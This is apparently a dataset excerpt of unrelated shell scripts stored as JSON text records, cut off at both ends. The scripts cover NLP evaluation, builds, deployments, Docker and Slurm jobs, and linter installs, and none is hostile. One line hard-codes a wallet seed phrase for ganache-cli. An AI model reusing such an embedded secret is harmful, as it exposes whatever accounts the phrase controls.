/mnt/Git/results/overlap_conll/flair_litbank_with_prefix.txt\n\necho -e \"\\e[30;48;5;45m INFO: Evaluating Flair using Dekker et al. \\e[0m\"\npython3 /mnt/Git/scripts/conll_evaluation/flair_vs_dekkeretal_gs.py\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_dekkeretal/*tsv ; do echo $x ; conlleval.pl -l < $x ; done > /mnt/Git/results/overlap_conll/flair_dekkeretal.txt\n\necho -e \"\\e[30;48;5;45m INFO: Evaluating Flair using New gold standard \\e[0m\"\npython3 /mnt/Git/scripts/conll_evaluation/flair_vs_new_gs.py\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_new_person/*tsv ; do echo $x ; conlleval.pl -l < $x ; done > /mnt/Git/results/overlap_conll/flair_new_person.txt\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_new_perx/*tsv ; do echo $x ; conlleval.pl -l < $x ; done > /mnt/Git/results/overlap_conll/flair_new_perx.txt\n# evaluation with prefixes\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_new_person/*tsv ; do echo $x ; conlleval.pl -r -l < $x ; done > /mnt/Git/results/overlap_conll/flair_new_person_with_prefix.txt\nfor x in /mnt/Git/scripts/conll_evaluation/data_conll_format/flair_new_perx/*tsv ; do echo $x ; conlleval.pl -r -l < $x ; done > /mnt/Git/results/overlap_conll/flair_new_perx_with_prefix.txt"} {"text": "push.sh0\n#!/usr/bin/env sh\n\n# 当发生错误时中止脚本\nset -e\n\n#推送到码云\ngit push gitee master\n#推送到原仓库\ngit push origin master\n\ncd -"} {"text": "arjangupta/CPP_Diary0\n#!/bin/sh\n\nif [ ! -z $1 ]; then\n if { [ \"--full-build\" = $1 ] || [ \"--full-rebuild\" = $1 ]; }; then\n rm -rf build/linux/\n fi\nfi\ncmake -H. -Bbuild/linux/\ncd build/linux\nmake -j $(nproc)"} {"text": "0\n#!/bin/sh\n\n# find.sh\n# XToDo\n#\n# Created by Travis on 13-11-28.\n# Copyright (c) 2013年 Plumn LLC. All rights reserved.\n\nKEYWORDS=\"$1\"\n\n# New matching strategy handles colon noise more gracefully, supports keywords in multi-line comments, supports mid-line keywords, and generally leaves less clean-up work for Obj-C\nxargs -0 egrep --with-filename --line-number --only-matching \"^.*?[^\\\"]($KEYWORDS).*?\\$\" | perl -p -e \"s/^\\s*(.+?):(.+?):.*($KEYWORDS)[: \\t]*(.*?)[: \\t]*$/\\$1:\\$2:\\$3:\\$4/gm\""} {"text": "#!/bin/bash\n\n#------------------变量--------------------------\n# 变量名的命名须遵循如下规则:\n\n# 命名只能使用英文字母,数字和下划线,首个字符不能以数字开头。\n# 中间不能有空格,可以使用下划线(_)。\n# 不能使用标点符号。\n# 不能使用bash里的关键字(可用help命令查看保留关键字)。\n#--------------------------------------------\n\n#定义变量myname\nmyname=\"jianlong\"\n\necho \"此时输出:$myname\"\n# 使用readOnly 定义只读变量\nreadonly greeting=\"hello,${myname}\"\n\n#删除变量 变量被删除后不能再次使用。unset 命令不能删除只读变量。\nunset myname\n\n#2-variable.sh: line 20: unset: greeting: cannot unset: readonly variable\n\n# unset greeting\n\n# 以下实例执行将没有任何输出。\necho \"此时输出:$myname\""} {"text": "0\n#!/bin/bash\n\nset +e\nexport Q_SRC_ROOT=\"$HOME/WORK/Q\"\ncd $Q_SRC_ROOT\n\n#cleaning up of data files in local/Q/data/ directory\nrm -f ../../local/Q/data/_*\nrm -f ../../local/Q/trace/qcore.log\n\n#cleaning up files in git repo\ngit checkout .\ngit clean -fd\n#pulling recent changes in git repo\ngit pull\n\necho $Q_SRC_ROOT\n#setting environment variables\nsource $Q_SRC_ROOT/setup.sh -f\n\nrm -f ../../local/Q/lib/lib*.so\n\n#pointing L to lua\nsudo ln -sf /usr/local/bin/lua /usr/local/bin/L\n#TODO: temporary hack: by creating a link 'luajit' which points to lua\n#our Q build(Makefiles) is using luajit as interpreter, so pointing luajit to lua. Need to discuss.\nsudo ln -sf /usr/local/bin/lua /usr/local/bin/luajit\n\ncd $Q_SRC_ROOT/UTILS/build\n#running build\nbuild_cleanup_heading=\"------------OUTPUT of build cleanup--------------------------------------\"\nbuild_cleanup_output=$(make clean)\n\n#TODO: temporary hack ==> Lua-Luaffi combination requires ffi.so present in local/Q/lib directory,\n# so building luaffi_installation for it.\ncd ../../GUIDING_PRINCIPLES/\nbash luaffi_installation.sh\ncd ../UTILS/build\n\nbuild_output_heading=\"------------OUTPUT of build scripts--------------------------------------\"\nbuild_output=$(make static )\n\ncd ../../\n\n#running runtest from Q_SRC_ROOT and dump output in temporary file\nluajit $Q_SRC_ROOT/TEST_RUNNER/runtest.lua i $Q_SRC_ROOT > $HOME/runtest_output.txt\n\n#cmd to get last line of output of runtest\nq_test_runner_result=$(tail -n1 < $HOME/runtest_output.txt)\n\n#cmd to mail the output of runtest\necho $q_test_runner_result | /usr/bin/mail -s \"Q Unit Tests\" -A $HOME/runtest_output.txt"} {"text": "#!/bin/bash\n\nif [ $# = 0 ]; then\n echo \"Please input a name for the deployment.\"\n exit\nfi\n\nbosh deploy \"ceph-objectstorage-broker.yml\" -d \"$1\" \\\n--vars-file=\"vars-file.yml\""} {"text": "#!/usr/bin/env bash\nrm -rf build/ dist/\npython setup.py sdist bdist_wheel\ntwine check dist/*\ntwine upload dist/*"} {"text": "stage-3.sh\n#!/bin/bash\nsudo wifi-menu\nip link | sudo awk '/wl/{system(\"systemctl enable netctl-auto@\"substr($2, 1, length($2)-1))}'\nsudo systemctl start bluetooth\nsudo systemctl enable bluetooth\nif [ \"$#\" -eq 1 ]\n $DOTFILES=$1\n yadm clone --bootstrap \"$DOTFILES\"\nfi"} {"text": "100-1000\n#!/bin/sh -x\nset -x\nsh -x ./clean.sh\n\nfunction system {\n# Run operating system command and if failure, report and abort\n \"$@\"\n if [ $? -ne 0 ]; then\n echo \"make.sh: unsuccessful command $@\"\n echo \"abort!\"\n exit 1\n fi\n}\n\n# Main document lives in test directory\ncp ../../../test/math_test_slides.do.txt .\n\nrm -f *.aux\nname=math_test_slides\n\noptions=\"--no_abort\"\n\n\n# HTML5 Slides\nhtml=${name}-reveal\nsystem doconce format html $name --pygments_html_style=native --keep_pygments_html_bg --html_links_in_new_window --html_output=$html\nsystem doconce slides_html $html reveal --html_slide_theme=darkgray --copyright=titlepage\n\n# Remark slides\nsystem doconce format pandoc ${name} --github_md --align2equations SLIDE_TYPE=remark SLIDE_THEME=dark\nsystem doconce slides_markdown ${name} remark --slide_theme=dark\nmv ${name}.html ${name}-remark.html\n\n# LaTeX Beamer slides\ntheme=blue_shadow\nsystem doconce format pdflatex ${name} SLIDE_TYPE=\"beamer\" SLIDE_THEME=\"$theme\" --latex_title_layout=beamer --latex_code_style=pyg\nsystem doconce slides_beamer ${name} --beamer_slide_theme=$theme\nmv ${name}.tex ${name}-beamer.tex\nsystem pdflatex -shell-escape ${name}-beamer\nsystem pdflatex -shell-escape ${name}-beamer\n\n# Sphinx document\nsystem doconce format sphinx ${name}\nsystem doconce sphinx_dir theme=pyramid ${name}\nsystem python automake_sphinx.py\n\n# IPython notebook\nsystem doconce format ipynb ${name} --encoding=utf-8\npygmentize -l json -o ${name}.ipynb.html ${name}.ipynb\n\n# Create HTML view from DocOnce source\nsystem doconce format html $name --html_output=${name}-html\n\ndoconce pygmentize ${name}.do.txt perldoc\ndoconce format html index_slides --html_style=bootstrap_FlatUI --html_links_in_new_window --html_bootstrap_navbar=off\n\ndest=../../pub/mathjax\ncp -r index_slides.html ${name}-beamer.pdf ${name}.do.txt.html ${name}-reveal.html ${name}-html.html reveal.js ${name}-remark.html ${name}.ipynb sphinx-rootdir/_build/html $dest"} {"text": "update_grpc_assistant_server.sh\n#!/bin/bash\nsh ./stop_grpc_assistant_server.sh\necho \"GRPC assistant server updating...\"\ngit pull\ndocker pull gkulasik/grpc_assistant_server:latest\necho \"GRPC assistant server updated.\""} {"text": "git pull\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/data0/qilei_chen/opencv33_install_60/lib:/usr/local/cuda/lib64\npython experiments/fpn/fpn_end2end_train_test.py --cfg experiments/fpn/cfgs/dr_4/resnet_v1_101_dr_trainval_sod_end2end_focal_3.yaml"} {"text": "#!/bin/sh\n\nexport GF_SERVER_HTTP_PORT=\"$PORT\"\nexport GF_DATABASE_URL=\"$DATABASE_URL\"\n\nexec /run.sh"} {"text": "0\ntar -xf make-4.3.tar.gz\ncd make-4.3\n./configure --prefix=/usr\nmake\nmake install\nrm -rf /sources/make-4.3"} {"text": "scripts/util/ccp_base.sh\n#!/bin/bash\n\n# Copyright (c) 2006-2013, 2016 Regents of the University of Minnesota.\n# For licensing terms, see the file LICENSE.\n\n# Usage: Call this script from another script.\n#\n\n# ============================================================================\n# *** Setup\n\n# SYNC_ME: This setup code is shared btw.: bash_base.sh and ccp_base.sh.\n\n# Make it easy to reference the script name and relative or absolute path.\n\n# NOTE: The parent `source`d us, so $0 is _its_ name.\n# Unless the parent was also sourced.\n\nif [[ `echo \"$0\" | grep \"bash$\" -` ]]; then\n # User sourcing us (via parent) from terminal.\n script_name=$BASH_SOURCE\n script_relbase=$(pwd -P)\nelse\n script_name=$(basename $0)\n script_relbase=$(dirname $0)\nfi\n#echo \"script_name: $script_name\"\n#echo \"script_relbase: $script_relbase\"\n\n# From our good friends at http://stackoverflow.com\n# /questions/7126580/expand-a-possible-relative-path-in-bash\n\ndir_resolve () {\n # Change to the desired directory. Squash error msgs. but return error\n # status, maybe.\n cd \"$1\" 2>/dev/null || return $?\n # Use pwd's -P to return the full, link-resolved path.\n echo \"`pwd -P`\"\n}\n\nscript_path=$(dir_resolve $script_relbase)\n\n# ============================================================================\n# *** Find bash_base.sh\n\n# Pyserver home leads us to the installation folder, unless not specified.\n\n# C.f. from pyserver_glue.py. Kinda. There's similar code that walks up the\n# directory tree until we find a pyserver uncle or until we root out.\n#\nfind_pyserver_uncle () {\n\n HERE_WE_ARE=$(dir_resolve ${script_relbase})\n\n while [[ ${HERE_WE_ARE} != '/' ]]; do\n if [[ -e \"${HERE_WE_ARE}/pyserver/CONFIG\" ]]; then\n # MAYBE: Really export? We were sourced, so maybe don't do this,\n # so we don't clobber the user's working environment?\n export CCP_WORKING=${HERE_WE_ARE}\n export PYSERVER_HOME=${CCP_WORKING}/pyserver\n break\n else\n # Keep looping:\n HERE_WE_ARE=$(dir_resolve ${HERE_WE_ARE}/..)\n fi\n done\n\n if [[ ${HERE_WE_ARE} == '/' ]]; then\n echo \"ERROR: Cannot suss out PYSERVER_HOME. Failing!\"\n exit 1\n fi\n}\n\nif [[ \"${PYSERVER_HOME}\" == \"/dev/null\" ]]; then\n : # Nada. This is just ccp_install calling us, before Ccp is installed.\nelif [[ -z \"${PYSERVER_HOME}\" ]]; then\n find_pyserver_uncle\nelse\n CCP_WORKING=$(dir_resolve ${PYSERVER_HOME}/..)\n export CCP_WORKING=${CCP_WORKING}\nfi\n\n# If the dev dir is symbolic link, be sure to use the qualified (hard path)\n# instance name. E.g., on the production server, /ccp/dev/cycloplan_sib1 and\n# /ccp/dev/cycloplan_sib2 both point to /ccp/dev/cycloplan_live.\n# Note that we could do this earlier, for CCP_WORKING, but we just need it\n# for CCP_INSTANCE to work, e.g., /ccp/var/tilecache/* uses instance name,\n# so we could make symbolic links there, but then what other places use\n# CCP_INSTANCE?\n\ntest_opts=$(echo $SHELLOPTS)\nset +e\n`echo $test_opts | grep errexit` >/dev/null 2>&1\nif [[ $? -eq 0 ]]; then\n USING_ERREXIT=true\nelse\n USING_ERREXIT=false\nfi\n#\nhard_path=`readlink $CCP_WORKING`\n#\nif $USING_ERREXIT; then\n set -e\nfi\n\nif [[ -z $hard_path ]]; then\n CCP_INSTANCE=$(basename $CCP_WORKING)\nelse\n CCP_INSTANCE=$(basename $hard_path)\nfi\n\n# This script needs some utility functions that we have defined next door.\n\nBASH_BASE_PATH=${CCP_WORKING}/scripts/util/bash_base.sh\nif [[ ! -e \"${BASH_BASE_PATH}\" ]]; then\n echo \"ERROR: Where is bash_base.sh?\"\nfi\n. ${BASH_BASE_PATH}\n\n# ============================================================================\n# *** Cyclopath's Well-known paths\n\n# *** Cyclopath developer repository\n\n# The ccpdev directory is used interally in cron jobs. If you're a community\n# developer, you can ignore this setting (you won't find it used in the\n# source).\nCCPDEV_ROOT=/ccp/bin/ccpdev\n\n# The typical CcpV2 source code installation folder.\n\nCCP_DEV=/ccp/dev\n\n# *** Cyclopath variable files storage\n\nCCP_VAR=/ccp/var\n\n# Where to store database dumps on the machine.\nCCP_DBDUMPS=/ccp/var/dbdumps\nCCP_DBDAILY=${CCP_VAR}/.dbdumps.daily\n\n# Where the branch manager's and www-data's cron record their nightly\n# activities (for, e.g., daily.runic.sh and check_cache_now.sh).\n# Also where CcpV1->V2's upgrade_ccpv1-v2 and publish_ccpv1-v2 blather.\nCCP_LOG=/ccp/var/log\nCCP_LOG_DAILY=/ccp/var/log/daily\n\n# TileCache Cache dir.\nTILECACHE_BASE=/ccp/var/tilecache-cache\n\n# ============================================================================\n# *** Cyclopath's installation-specifics\n\n# Get the name of the Cyclopath database used by this installation.\n\nif [[ -e \"${PYSERVER_HOME}/CONFIG\" ]]; then\n #\n # FIXME: THIS DOESN'T RESPEK INSTANCE.\n # E.g., [instance_minnesota]\n # MAYBE: Deprecate $INSTANCE and go w/ one instance per\n # CCP_INSTALLATION -- which is 100% more natural, except\n # you can't share the user database... oh, dur, instead\n # of instance, you should use a different branch...\n # \n CCP_DB_NAME=`/bin/egrep \"^database: +[_a-zA-Z0-9]+$\" \\\n ${PYSERVER_HOME}/CONFIG \\\n | /bin/sed -r 's/^database: +//'`\n CCP_DB_PORT=`/bin/egrep \"^port: +[0-9]+$\" \\\n ${PYSERVER_HOME}/CONFIG \\\n | /bin/sed -r 's/^port: +//'`\nfi\n\n# Well-known psql wrapper. Sets up search_path for us.\nPSQL_WRAP=${CCP_WORKING}/scripts/util/psql_wrap.sh\n\n# This instance's tilecache cache folder.\nTILECACHE_CACHE=${TILECACHE_BASE}/${CCP_INSTANCE}\n\n# ============================================================================\n# *** Cyclopath's Python path\n\n# Oddly, if we don't include the GDAL path, 'from osgeo import osr' fails under\n# Ubuntu 11.04 (Python 2.7). Works fine without under Ubuntu 10.04 (Python 2.6)\n# This is usually used when sudo'ing a command, to supply the path to root or\n# to httpd_user.\n# No: /export/scratch/ccp/opt/gdal/lib/$PYTHONVERS2/site-packages/GDAL-1.10.1-${PYVERSABBR2}-linux-x86_64.egg:\\\n# No: /ccp/opt/usr/lib/python2.6/site-packages/networkx-1.8.1-py2.6.egg\n# (networkx is installed for users, but not for www-data...\n# you have to point the httpd.conf at the location).\nccp_python_path=\"\\\n/export/scratch/ccp/opt/usr/lib/python:\\\n/export/scratch/ccp/opt/usr/lib/$PYTHONVERS2/site-packages:\\\n/export/scratch/ccp/opt/gdal/lib/$PYTHONVERS2/site-packages:\\\n/export/scratch/ccp/opt/usr/lib64/$PYTHONVERS2/site-packages\"\n\n# ============================================================================\n# *** Crude miscellany\n\n# FIXME: This fcn. is crude. It hardcodes instance names and branch names...\n# two things that don't belong in code.\n\nccp_base_branch_name_from_instance () {\n\n db_instance=$1\n\n if [[ -z \"${db_instance}\" ]]; then\n echo \"Please specify the instance.\"\n exit 1\n fi\n\n # MAYBE: Make this a shell utility function.\n if [[ ${db_instance} == 'minnesota' ]]; then\n branch_name='Minnesota'\n elif [[ ${db_instance} == 'colorado' ]]; then\n branch_name='Denver-Boulder'\n else\n echo \"Unknown instance: ${db_instance}.\"\n exit 1\n fi\n\n # You can only return error values in Bash, so print to stdin.\n # The caller runs, e.g., br_name=`ccp_base_branch_name_from_instance $instnc`\n echo ${branch_name}\n}\n\n# ============================================================================\n# *** More Installation Specifics\n\nccp_latest_rev_id () {\n SETPATH=\"SET search_path TO ${INSTANCE}, public;\"\n and_branch_id=\"\"\n if [[ -n ${1} ]]; then\n # FIXME: This is fragile, and it's a weird place for complicated SQL.\n # This select doesn't care about duplicates but uses an ORDER BY\n # so if there are duplicates, the same one will always be returned.\n select_brid=\"\\\n SELECT branch.stack_id FROM branch\n JOIN item_versioned USING (system_id)\n WHERE item_versioned.name = '${1}'\n ORDER BY stack_id DESC LIMIT 1\"\n and_branch_id=\"AND branch_id = (${select_brid})\"\n fi\n latest_rev_id=`\n PAGER=more \\\n psql -U cycling ${CCP_DB_NAME} \\\n --no-psqlrc \\\n -c \"${SETPATH}; \\\n SELECT id \\\n FROM ${INSTANCE}.revision \\\n WHERE id != cp_rid_inf() \\\n ${and_branch_id} \\\n ORDER BY id DESC \\\n LIMIT 1;\" \\\n -A -t`\n echo ${latest_rev_id}\n}\n\nccp_latest_rev_ts () {\n SETPATH=\"SET search_path TO ${INSTANCE}, public;\"\n # NOTE: Don't use $@, but $*.\n latest_rev_id=$(ccp_latest_rev_id \"$*\")\n latest_rev_ts=`\n PAGER=more \\\n psql -U cycling ${CCP_DB_NAME} \\\n --no-psqlrc \\\n -c \"${SETPATH}; \\\n SELECT timestamp \\\n FROM ${INSTANCE}.revision \\\n WHERE id = ${latest_rev_id};\" \\\n -A -t`\n echo ${latest_rev_ts}\n}\n\n# ============================================================================\n# *** Waiting for RouteGuffmanfinder\n\nccp_routed_ports_where () {\n\n rf_instance=$1\n if [[ $2 -ne 0 ]]; then\n rf_branch_id=$2\n else\n rf_branch_id=\"(SELECT cp_branch_baseline_id())\"\n fi\n rf_routed_pers=$3\n if [[ -n $4 ]]; then\n rf_purpose=$4\n else\n rf_purpose='general'\n fi\n\n rf_where_clause=\"\n instance = '${rf_instance}'\n AND branch_id = ${rf_branch_id}\n AND routed_pers = '${rf_routed_pers}'\n AND purpose = '${rf_purpose}'\"\n\n echo ${rf_where_clause}\n}\n\nccp_routed_ports_ready () {\n\n # MAYBE: Is there a way to not have to poll?\n # I.e., how does route analysis wait for its finders to start?\n\n # NOTE: Most callers will have been the one that started the route finder\n # service, but there's not an easy way to get its PID, is there.\n\n rf_where_clause=`ccp_routed_ports_where $1 $2 $3 $4`\n\n SETPATH=\"SET search_path TO ${INSTANCE}, public;\"\n rf_ready=`\n PAGER=more \\\n psql -U cycling ${CCP_DB_NAME} \\\n --no-psqlrc \\\n -c \"${SETPATH}; \\\n SELECT ready FROM public.routed_ports \\\n WHERE ${rf_where_clause}\n ORDER BY port DESC\n LIMIT 1\n ;\" -A -t`\n\n echo ${rf_ready}\n}\n\nccp_routed_ports_reset () {\n\n rf_where_clause=`ccp_routed_ports_where $1 $2 $3 $4`\n\n SETPATH=\"SET search_path TO ${INSTANCE}, public;\"\n rf_deleted=`\n PAGER=more \\\n psql -U cycling ${CCP_DB_NAME} \\\n --no-psqlrc \\\n -c \"${SETPATH}; \\\n DELETE FROM public.routed_ports \\\n WHERE ${rf_where_clause}\n ;\" -A -t\n `\n # rf_deleted is, e.g., \"DELETE 1\".\n # echo ${rf_deleted}\n}\n\nccp_routed_ports_wait () {\n # From man echo\n # -n do not output the trailing newline\n # -e enable interpretation of backslash escapes\n #\n # E.g., try\n # seq 1 1000000 | while read i; do echo -en \"\\r$i\"; done\n time_0=$(date +%s.%N)\n #echo -n \"Waiting for route daemon to have loaded... \"\n still_waiting=1\n while [[ $still_waiting -ne 0 ]]; do\n time_1=$(date +%s.%N)\n time_e=$(echo \"($time_1 - $time_0) / 1.0\" | bc -l)\n rf_ready=`ccp_routed_ports_ready $1 $2 $3 $4`\n if [[ $rf_ready == 'f' ]]; then\n echo -en \"\\rRoute daemon still loading or dead... ${time_e} secs.\"\n sleep 1\n elif [[ $rf_ready == 't' ]]; then\n still_waiting=0\n # Clear to end of line. See:\n # http://ascii-table.com/ansi-escape-sequences.php\n echo -en \"\\rRoute daemon ready after ${time_e} secs.\\033[K\"\n echo\n else\n still_waiting=0\n echo \"WARNING: Route daemon not found in routed_ports.\"\n fi\n done\n}\n\n# ***"} {"text": "################################ CMD PROMPT #############################\n\nexport glypharrow=$'\\ue0b0'\nexport glyphflames=$'\\ue0c0'\nexport glyphrounded=$'\\ue0b4'\nexport glyphbits=$'\\ue0c6'\nexport glyphhex=$'\\ue0cc'\n\nexport PS1w=$'\\033[38;5;33m'\nexport PS1u=$'\\033[38;2;0;165;0m'\nexport PS1a=$'\\033[38;2;100;100;100m'\nexport PS1c=$'\\033[38;2;110;110;110m'\nexport PS1h=$'\\033[38;2;169;112;255m'\nexport PS1p=$'\\033[38;2;218;165;32m'\nexport PS1P=$'\\033[38;2;255;0;0m'\nexport PS1U=$PS1P\n\nexport gruv_orange=$'\\033[38;2;214;93;13m'\n\nif [[ $EUID == 0 ]]; then\n export PS1='\\[$PS1U\\]\\u\\[$PS1a\\]@\\[$PS1h\\]\\h\\[$PS1c\\]:\\[$PS1w\\]\\w\\[$PS1P\\]#\\[\\033[00m\\] '\nelse\n export PS1='\\[$PS1u\\]\\u\\[$PS1a\\]@\\[$PS1h\\]\\h\\[$PS1c\\]:\\[$PS1w\\]\\w\\[$PS1p\\]$\\[\\033[00m\\] '\nfi\n\nps1min () {\n export PS1='\\[$gruv_orange\\]$\\[\\033[00m\\] '\n}"} {"text": "ganache-cli -m \"outside frog empty glue slim eternal dune behind limit jewel plate cloud\""} {"text": "run.sh\n#!/usr/bin/env bash\n# Author: wxnacy()\n# Description:\n\nname=$1\n\nif [[ -f ${name}/run.sh ]]\nthen\n `${name}/run.sh`\nelse\n docker run -it --rm wxnacy/$name /bin/bash\nfi"} {"text": "CoMem_AXPY/test.sh\nnvprof ./axpy_cuda 1024000\nnvprof ./axpy_cuda 4096000\nnvprof ./axpy_cuda 10240000\nnvprof ./axpy_cuda 20480000"} {"text": "t12g/terraform-validatorvendor/github.com/rcrowley/go-metrics/validate.sh\n#!/bin/bash\n\nset -e\n\n# check there are no formatting issues\nGOFMT_LINES=`gofmt -l . | wc -l | xargs`\ntest $GOFMT_LINES -eq 0 || echo \"gofmt needs to be run, ${GOFMT_LINES} files have issues\"\n\n# run the tests for the root package\ngo test -race ."} {"text": "# This shell script executes Slurm jobs for running predictions\n# with NTT-like convolutional neural network\n# on BirdVox-70k with PCEN input.\n# Trial ID: 0.\n# Augmentation kind: all.\n\nsbatch 048_aug-all_test-unit01_trial-0_predict-unit07.sbatch\nsbatch 048_aug-all_test-unit01_trial-0_predict-unit10.sbatch\nsbatch 048_aug-all_test-unit01_trial-0_predict-unit01.sbatch\n\nsbatch 048_aug-all_test-unit02_trial-0_predict-unit10.sbatch\nsbatch 048_aug-all_test-unit02_trial-0_predict-unit01.sbatch\nsbatch 048_aug-all_test-unit02_trial-0_predict-unit02.sbatch\n\nsbatch 048_aug-all_test-unit03_trial-0_predict-unit01.sbatch\nsbatch 048_aug-all_test-unit03_trial-0_predict-unit02.sbatch\nsbatch 048_aug-all_test-unit03_trial-0_predict-unit03.sbatch\n\nsbatch 048_aug-all_test-unit05_trial-0_predict-unit02.sbatch\nsbatch 048_aug-all_test-unit05_trial-0_predict-unit03.sbatch\nsbatch 048_aug-all_test-unit05_trial-0_predict-unit05.sbatch\n\nsbatch 048_aug-all_test-unit07_trial-0_predict-unit03.sbatch\nsbatch 048_aug-all_test-unit07_trial-0_predict-unit05.sbatch\nsbatch 048_aug-all_test-unit07_trial-0_predict-unit07.sbatch\n\nsbatch 048_aug-all_test-unit10_trial-0_predict-unit05.sbatch\nsbatch 048_aug-all_test-unit10_trial-0_predict-unit07.sbatch\nsbatch 048_aug-all_test-unit10_trial-0_predict-unit10.sbatch"} {"text": "10-100\n#!/bin/sh\n\nsudo echo -n q > /tmp/cmd\nexit"} {"text": "#!/usr/bin/env sh\nif [ \"$#\" -ne 2 ] ;then\n echo \"Input illegal number of parameters \" $#\n echo \"Need 2 parameters for the network architecture name and the dataset name\"\n exit 1 \nfi \nif [ \"$TORCH_HOME\" = \"\" ]; then\n echo \"Must set TORCH_HOME envoriment variable for data dir saving\"\n exit 1\nelse\n echo \"TORCH_HOME : $TORCH_HOME\"\nfi\n\nmodel=$1\ndataset=$2\nepochs=164\n\n$PYTHON main.py $TORCH_HOME/cifar.python \\\n\t--dataset ${dataset} --arch ${model} --save_path ./snapshots/${dataset}_${model}_${epochs} --epochs ${epochs} \\\n\t--schedule 82 123 --gammas 0.1 0.1 --learning_rate 0.1 --decay 0.0001 --batch_size 128 --workers 16 --ngpu 4"} {"text": "terraform/test/validate/test.sh10-100\n#!/usr/bin/env bash\n\nset -e\n\nmkdir -p .circleci\n\nsed -e \"s|ovotech/terraform@1|ovotech/terraform@dev:${USER}_test|\" config.yml | circleci config process - >.circleci/config.yml\n\nfunction expect_success() {\n local JOB=$1\n\n circleci local execute --job $JOB >/tmp/output # | tee /tmp/output\n\n if [[ \"$(tail -n 1 /tmp/output)\" != *\"Success\"* ]]; then\n echo \"Test $JOB Failed\"\n exit 1\n fi\n\n echo \"Test $JOB Passed\"\n}\n\nfunction expect_fail() {\n local JOB=$1\n local ERROR=$2\n\n circleci local execute --job $JOB >/tmp/output # | tee /tmp/output\n\n if [[ \"$(tail -n 1 /tmp/output)\" == *\"Success\"* ]]; then\n echo \"Test $JOB Failed\"\n exit 1\n fi\n\n if ! cat /tmp/output | grep -e \"$ERROR\" >/dev/null; then\n echo \"Validate didn't have expected error\"\n exit 1\n fi\n\n echo \"Test $JOB Passed\"\n}\n\nexpect_success default_valid\nexpect_success terraform_11_valid\nexpect_success terraform_12_valid\nexpect_fail default_invalid \"null_resource.hello: resource repeated multiple times\"\nexpect_fail terraform_11_invalid \"null_resource.hello: resource repeated multiple times\"\nexpect_fail terraform_12_invalid \"Error: Duplicate resource \\\"null_resource\\\" configuration\"\n\necho \"All tests passed\""} {"text": "# run tensorflow docker to train and eval\n# For MSCOCO #############################################################\nCODE_DIR=/ipr-imagecaptioning/addition_bi\nCNN_DIR=/cnn-weight\nDATA_DIR=/mscoco\nCOCO_EVAL_DIR=/pycocoevalcap\n\nsudo docker run -it --rm --runtime=nvidia \\\n-v $CODE_DIR:/image_captioning_IPR \\\n-v $CNN_DIR:/image_captioning_IPR/cnn_models \\\n-v $DATA_DIR/train2014:/image_captioning_IPR/train/images \\\n-v $DATA_DIR/val2014:/image_captioning_IPR/val/images \\\n-v $DATA_DIR/annotations/karpathy_train.json:/image_captioning_IPR/train/karpathy_train.json \\\n-v $DATA_DIR/annotations/karpathy_test.json:/image_captioning_IPR/val/karpathy_test.json \\\n-v $COCO_EVAL_DIR:/image_captioning_IPR/utils/coco/pycocoevalcap \\\n-w /image_captioning_IPR \\\nlimjianhan/tensorflow:1.13.1-gpu /bin/bash\n\n# For Flickr30k ############################################################\nCODE_DIR=/ipr-imagecaptioning/addition_bi\nCNN_DIR=/cnn-weight\nDATA_DIR=/flickr30k\nCOCO_EVAL_DIR=/pycocoevalcap\n\nsudo docker run -it --rm --runtime=nvidia \\\n-v $CODE_DIR:/image_captioning_IPR \\\n-v $CNN_DIR:/image_captioning_IPR/cnn_models \\\n-v $DATA_DIR/images_flickr30k:/image_captioning_IPR/train/images_flickr30k \\\n-v $DATA_DIR/annotations/karpathy_train_flickr30k.json:/image_captioning_IPR/train/karpathy_train_flickr30k.json \\\n-v $DATA_DIR/annotations/karpathy_test_flickr30k.json:/image_captioning_IPR/val/karpathy_test_flickr30k.json \\\n-v $COCO_EVAL_DIR:/image_captioning_IPR/utils/coco/pycocoevalcap \\\n-w /image_captioning_IPR \\\nlimjianhan/tensorflow:1.13.1-gpu /bin/bash\n\n# For Flickr8k ############################################################\nCODE_DIR=/ipr-imagecaptioning/addition_bi\nCNN_DIR=/cnn-weight\nDATA_DIR=/flickr8k\nCOCO_EVAL_DIR=/pycocoevalcap\n\nsudo docker run -it --rm --runtime=nvidia \\\n-v $CODE_DIR:/image_captioning_IPR \\\n-v $CNN_DIR:/image_captioning_IPR/cnn_models \\\n-v $DATA_DIR/images_flickr8k:/image_captioning_IPR/train/images_flickr8k \\\n-v $DATA_DIR/annotations/karpathy_train_flickr8k.json:/image_captioning_IPR/train/karpathy_train_flickr8k.json \\\n-v $DATA_DIR/annotations/karpathy_test_flickr8k.json:/image_captioning_IPR/val/karpathy_test_flickr8k.json \\\n-v $COCO_EVAL_DIR:/image_captioning_IPR/utils/coco/pycocoevalcap \\\n-w /image_captioning_IPR \\\nlimjianhan/tensorflow:1.13.1-gpu /bin/bash"} {"text": "onearmbandit/MTAV\n\nsudo apt install zip unzip curl\n\ncurl -OL https://squizlabs.github.io/PHP_CodeSniffer/phpcs.phar\n\ncurl -OL https://squizlabs.github.io/PHP_CodeSniffer/phpcbf.phar\n\nchmod +x phpcs.phar\n\nchmod +x phpcbf.phar\n\nsudo mv phpcs.phar /usr/local/bin/phpcs\n\nsudo mv phpcbf.phar /usr/local/bin/phpcbf\n\ncd sniffs\n\nwget https://github.com/WordPress/WordPress-Coding-Standards/archive/2.3.0.zip\nunzip -o 2.3.0.zip\nrm 2.3.0.zip\n\nwget https://github.com/Automattic/VIP-Coding-Standards/archive/2.0.0.zip\nunzip -o 2.0.0.zip\nrm 2.0.0.zip\n\nsudo phpcs --config-set installed_paths $(pwd)/WordPress-Coding-Standards-2.3.0/,$(pwd)/VIP-Coding-Standards-2.0.0/\n\ncd .."} {"text": "#!/bin/sh\nhere=$(cd \"$(dirname \"$0\")\"; pwd)\nbase=$here/..\n\n# This is where all build products will be installed.\ndestdir=$base/build/built\nmkdir -p $destdir\n\n# Build LLVM \"out-of-source\" in a scratch directory.\nbuilddir=$base/build/llvm\nmkdir -p $builddir\ncd $builddir\ncmake -G Ninja -DCMAKE_BUILD_TYPE:STRING=Debug -DCMAKE_INSTALL_PREFIX:PATH=$destdir ../../llvm\nninja install"} {"text": "0\necho \"!!!!!!!!!!!!!!!!!!!!!!!!!!!! BEFORE: The nodes are 